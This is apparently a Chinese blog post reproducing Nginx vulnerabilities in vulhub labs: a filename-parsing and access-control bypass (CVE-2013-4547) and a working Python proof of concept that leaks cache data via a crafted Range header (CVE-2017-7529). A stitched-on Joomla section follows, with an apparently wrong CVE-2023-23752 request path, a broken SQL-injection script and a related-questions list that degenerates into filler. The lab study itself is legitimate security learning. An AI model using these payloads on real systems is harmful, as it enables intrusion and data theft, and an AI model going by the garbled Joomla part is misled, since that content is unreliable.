Nginx漏洞复现1

最近的漏洞复现就跟着vulhub做,感谢大佬做的环境和记录

CVE-2013-4547

漏洞介绍

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下:

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

我们构造1.jpg[20][00].php
比如很多网站限制了允许访问后台的IP:

location /admin/ {
    allow 127.0.0.1;
    deny all;
}

我们可以请求如下URI:
/test[0x20]/../admin/index.php,这个URI不会匹配上location后面的/admin/,也就绕过了其中的IP验证;但最后请求的是/test[0x20]/…/admin/index.php文件,也就是/admin/index.php,成功访问到后台。(这个前提是需要有一个目录叫test:这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)

漏洞测试

在这里插入图片描述
上传成功
在这里插入图片描述
解析成功
需要注意的是我们上传和访问的文件都是1.jpg[20][00].php
在这里插入图片描述

Nginx越界读取缓存漏洞(CVE-2017-7529)

漏洞介绍

当使用Nginx标准模块时,攻击者可以通过发送包含恶意构造range域的header请求,来获取响应中的缓存文件头部信息。在某些配置中,缓存文件头可能包含后端服务器的IP地址或其它敏感信息,从而导致信息泄露。

影响版本

存在漏洞:Nginx version 0.5.6 - 1.13.2
修复版本:Nginx version 1.13.3, 1.12.1

漏洞利用

poc脚本:

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

构造一个Range: bytes=-X, -Y
一大一小两个end值,只需要控制前面一个end值小而后一个end值大,从而实现start值和size值皆为负数,控制start值负到一个合适的位置,那么就能成功利用读到缓存文件头部了。
在这里插入图片描述
读取到缓存文件
参考文章:
https://cert.360.cn/warning/detail?id=b879782fbad4a7f773b6c18490d67ac7

### Joomla 漏洞复现教程 #### CVE 编号及相关信息 Joomla 的漏洞复现涉及多个不同的 CVE 编号,以下是几个常见的案例及其对应的描述: 1. **CVE-2023-23752**: 此漏洞是一个身份验证绕过问题,允许攻击者通过特定参数访问 REST API 并获取敏感数据,包括数据库连接用户名和密码。此漏洞影响的版本范围为 `4.0.0 <= Joomla <= 4.2.7`[^1]。 2. **CVE-2017-8917**: 这是一次严重的 SQL 注入漏洞,由新引入的组件 `com_fields` 引发。该漏洞存在于 Joomla 3.7.0 中,可能导致攻击者执行任意查询并窃取数据库中的重要信息[^3]。 3. **CVE-2017-12794**: 该漏洞属于跨站脚本 (XSS) 类型,可能被利用来注入恶意 JavaScript 脚本到网页中,从而控制用户的浏览器会话或窃取 Cookie 等敏感信息。可以通过 Docker 镜像快速搭建测试环境来进行复现[^4]。 --- #### 环境搭建指南 为了成功复现这些漏洞,通常需要准备一个可运行的目标环境。以下是以 CVE-2023-23752 和 CVE-2017-8917 为例的环境设置方法: ##### 使用 Docker 构建目标环境 Docker 提供了一种简单的方式来部署 Joomla 测试实例。可以拉取预构建镜像以减少手动配置的时间: ```bash docker pull medicean/vulapps:j_joomla_2 docker run -d --name joomla-vulnerable -p 8080:80 medicean/vulapps:j_joomla_2 ``` 这将启动一个带有已知漏洞的 Joomla 实例,并将其绑定到主机端口 8080 上。 ##### 手动安装 Joomla 如果希望更灵活地调整环境,则可以选择手动方式完成安装过程: 1. 下载对应版本的 Joomla 文件包; 2. 将其解压至 Web 服务器根目录下(如 Apache 或 Nginx); 3. 创建 MySQL 数据库及用户账户用于存储网站内容; 4. 访问站点 URL 开始初始化向导流程填写必要选项即可完成整个操作步骤说明如下图所示. --- #### 漏洞复现步骤 ##### 对于 CVE-2023-23752: 尝试构造请求以触发权限绕过的机制。例如,发送 GET 请求给 `/index.php?option=com_api&app=myapplication&format=json&public=true` 可能返回未经适当保护的数据集列表[^5]: ```http GET /index.php?option=com_api&app=myapplication&format=json&public=true HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate Connection: close ``` ##### 关于 CVE-2017-8917: 编写 POC 来展示如何利用 SQLi 获取管理员哈希值或其他机密资料。假设存在字段名称冲突情况下的拼接语句缺陷,那么下面这段 Python 脚本或许能够帮助理解原理: ```python import requests url = 'http://localhost/index.php' payloads = ["' OR SLEEP(5)--", "' UNION SELECT NULL--"] for payload in payloads: params = {'field_id': payload} response = requests.get(url, params=params) if "sleep" in payload and ("timeout" in str(response.elapsed)): print(f"[+] Vulnerable to Time-Based Blind Injection with {payload}") elif "union" in payload.lower() and len(response.text.splitlines()) > expected_line_count: print("[+] Possible Union Query Based Injection Detected!") ``` --- #### §相关问题§ 1. 如何检测远程服务器上是否存在某个具体的 Joomla 版本? 2. 是否有其他类似的 CMS 系统也遭受过相似类型的漏洞威胁?如果有,请列举至少两个例子。 3. 在实际渗透测试过程中遇到防护措施较强的情况下,除了直接利用公开披露的方法外还有哪些技巧可以帮助发现隐藏的安全隐患呢? 4. 当前主流框架对于防止此类安全风险采取了哪些通用策略?它们各自优缺点是什么样的状况之下适用最为广泛有效果最佳的选择方案又有哪些考虑因素需要注意事项等等一系列关联话题探讨交流分享经验教训共同进步成长成为更好的自己吧朋友们加油哦😊
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值